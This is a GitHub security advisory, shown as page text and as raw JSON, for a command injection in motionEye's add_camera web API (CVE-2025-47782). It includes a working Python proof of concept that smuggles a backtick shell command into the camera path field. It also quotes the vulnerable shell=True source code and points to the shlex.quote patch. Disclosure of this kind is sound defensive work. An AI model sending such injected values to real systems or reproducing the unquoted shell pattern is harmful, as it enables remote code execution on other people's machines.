GHSA-G5MQ-PRX7-C588
Vulnerability from github – Published: 2025-05-15 16:10 – Updated: 2025-05-15 16:10Summary
Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.
function call stack
postadd_cameraconfig.add_camerav4l2ctl.list_resolutionsutils.call_subprocesssubprocess.run
PoC
build
RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"
docker build \
--network host \
--build-arg="RUN_UID=${RUN_UID?}" \
--build-arg="RUN_GID=${RUN_GID?}" \
-t "${USER?}/motioneye:${TIMESTAMP}" \
--no-cache \
-f docker/Dockerfile .
reproduce
Run:
docker run --rm -d -p 8765:8765 --hostname="motioneye" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye
bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
INFO: hello! this is motionEye server 0.43.1b3
DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
DEBUG: listing config dir /etc/motioneye...
DEBUG: found camera with id 1
DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
DEBUG: loading additional config structure for camera, without separators
DEBUG: Using selector: EpollSelector
DEBUG: searching motion executable
DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
INFO: cleanup started
INFO: wsswitch started
INFO: tasks started
INFO: mjpg customer garbage collector has started
INFO: server started
Now, run the following script to attack motionEye:
import requests
import json
url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"
payload = json.dumps({
"proto": "v4l2",
"path": "' `touch /tmp/bbbb` '"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)
Discussion
It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability
def list_resolutions(device):
from motioneye import motionctl
device = utils.make_str(device)
if device in _resolutions_cache:
return _resolutions_cache[device]
logging.debug(f'listing resolutions of device {device}...')
resolutions = set()
output = b''
started = time.time()
cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
logging.debug(f'running command "{cmd}"')
try:
output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
except:
logging.error(f'failed to list resolutions of device "{device}"')
output = utils.make_str(output)
def call_subprocess(
args,
stdin=None,
input=None,
stdout=subprocess.PIPE,
stderr=DEV_NULL,
capture_output=False,
shell=False,
cwd=None,
timeout=None,
check=True,
encoding='utf-8',
errors=None,
text=None,
env=None,
) -> str:
"""subprocess.run wrapper to return output as a decoded string"""
return subprocess.run(
args,
stdin=stdin,
input=input,
stdout=stdout,
stderr=stderr,
capture_output=capture_output,
shell=shell,
cwd=cwd,
timeout=timeout,
check=check,
encoding=encoding,
errors=errors,
text=text,
env=env,
).stdout.strip()
Impact
RCE
Patches
The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143
Workarounds
Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch
References
https://github.com/motioneye-project/motioneye/issues/3142
Credit
The vulnerability was discovered by Tencent YunDing Security Lab.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "motioneye"
},
"ranges": [
{
"events": [
{
"introduced": "0.43.1b1"
},
{
"fixed": "0.43.1b4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47782"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-15T16:10:48Z",
"nvd_published_at": "2025-05-14T16:15:29Z",
"severity": "HIGH"
},
"details": "### Summary\nUsing a constructed (camera) device path with the `config/add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, `motion` by default.\n\n#### function call stack\n1. `post`\n2. `add_camera`\n3. `config.add_camera`\n4. `v4l2ctl.list_resolutions`\n5. `utils.call_subprocess`\n6. `subprocess.run`\n\n### PoC\n#### build\n```sh\nRUN_USER=\"user\"\nRUN_UID=$(id -u ${RUN_USER})\nRUN_GID=$(id -g ${RUN_USER})\nTIMESTAMP=\"$(date \u0027+%Y%m%d-%H%M\u0027)\"\n\ndocker build \\\n --network host \\\n --build-arg=\"RUN_UID=${RUN_UID?}\" \\\n --build-arg=\"RUN_GID=${RUN_GID?}\" \\\n -t \"${USER?}/motioneye:${TIMESTAMP}\" \\\n --no-cache \\\n -f docker/Dockerfile .\n```\n\n#### reproduce\nRun:\n```sh\ndocker run --rm -d -p 8765:8765 --hostname=\"motioneye\" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye\n```\n```console\nbash-4.2$ docker logs ceb435eacf55 -f\nconfigure_logging cmd motioneye: False\nconfigure logging to file: None\n INFO: hello! this is motionEye server 0.43.1b3\n DEBUG: found motion executable \"/usr/bin/motion\" version \"4.7.0\"\n DEBUG: found ffmpeg executable \"/usr/bin/ffmpeg\" version \"7.1.1-1+b1\"\n DEBUG: listing config dir /etc/motioneye...\n DEBUG: found camera with id 1\n DEBUG: reading camera config from /etc/motioneye/camera-1.conf...\n DEBUG: loading additional config structure for camera, without separators\n DEBUG: Using selector: EpollSelector\n DEBUG: searching motion executable\n DEBUG: starting motion executable \"/usr/bin/motion\" version \"4.7.0\"\n INFO: cleanup started\n INFO: wsswitch started\n INFO: tasks started\n INFO: mjpg customer garbage collector has started\n INFO: server started\n```\nNow, run the following script to attack motionEye:\n```python\nimport requests\nimport json\n\nurl = \"http://your_ip:8765/config/add?_username=admin\u0026_signature=c22baef3399cb7328e22ded1ca68395b4daecd18\"\n\npayload = json.dumps({\n \"proto\": \"v4l2\",\n \"path\": \"\u0027 `touch /tmp/bbbb` \u0027\"\n})\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload)\n\nprint(response.text)\n```\n\n\u003cimg width=\"1187\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62\" /\u003e\n\n\u003cimg width=\"324\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e\" /\u003e\n\n#### Discussion\nIt is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability\n```python\ndef list_resolutions(device):\n from motioneye import motionctl\n\n device = utils.make_str(device)\n\n if device in _resolutions_cache:\n return _resolutions_cache[device]\n\n logging.debug(f\u0027listing resolutions of device {device}...\u0027)\n\n resolutions = set()\n output = b\u0027\u0027\n started = time.time()\n cmd = f\"v4l2-ctl -d \u0027{device}\u0027 --list-formats-ext | grep -vi stepwise | grep -oE \u0027[0-9]+x[0-9]+\u0027 || true\"\n logging.debug(f\u0027running command \"{cmd}\"\u0027)\n\n try:\n output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)\n except:\n logging.error(f\u0027failed to list resolutions of device \"{device}\"\u0027)\n\n output = utils.make_str(output)\n\ndef call_subprocess(\n args,\n stdin=None,\n input=None,\n stdout=subprocess.PIPE,\n stderr=DEV_NULL,\n capture_output=False,\n shell=False,\n cwd=None,\n timeout=None,\n check=True,\n encoding=\u0027utf-8\u0027,\n errors=None,\n text=None,\n env=None,\n) -\u003e str:\n \"\"\"subprocess.run wrapper to return output as a decoded string\"\"\"\n return subprocess.run(\n args,\n stdin=stdin,\n input=input,\n stdout=stdout,\n stderr=stderr,\n capture_output=capture_output,\n shell=shell,\n cwd=cwd,\n timeout=timeout,\n check=check,\n encoding=encoding,\n errors=errors,\n text=text,\n env=env,\n ).stdout.strip()\n```\n\n### Impact\nRCE\n\n### Patches\nThe vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143\n\n### Workarounds\nApplying the following patch, replacing the literal single quotes in the created `cmd` string with a `shlex.quote`d input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch\n\n### References\nhttps://github.com/motioneye-project/motioneye/issues/3142\n\n### Credit\nThe vulnerability was discovered by Tencent YunDing Security Lab.",
"id": "GHSA-g5mq-prx7-c588",
"modified": "2025-05-15T16:10:48Z",
"published": "2025-05-15T16:10:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47782"
},
{
"type": "WEB",
"url": "https://github.com/motioneye-project/motioneye/issues/3142"
},
{
"type": "WEB",
"url": "https://github.com/motioneye-project/motioneye/pull/3143"
},
{
"type": "PACKAGE",
"url": "https://github.com/motioneye-project/motioneye"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/motioneye/PYSEC-2025-39.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.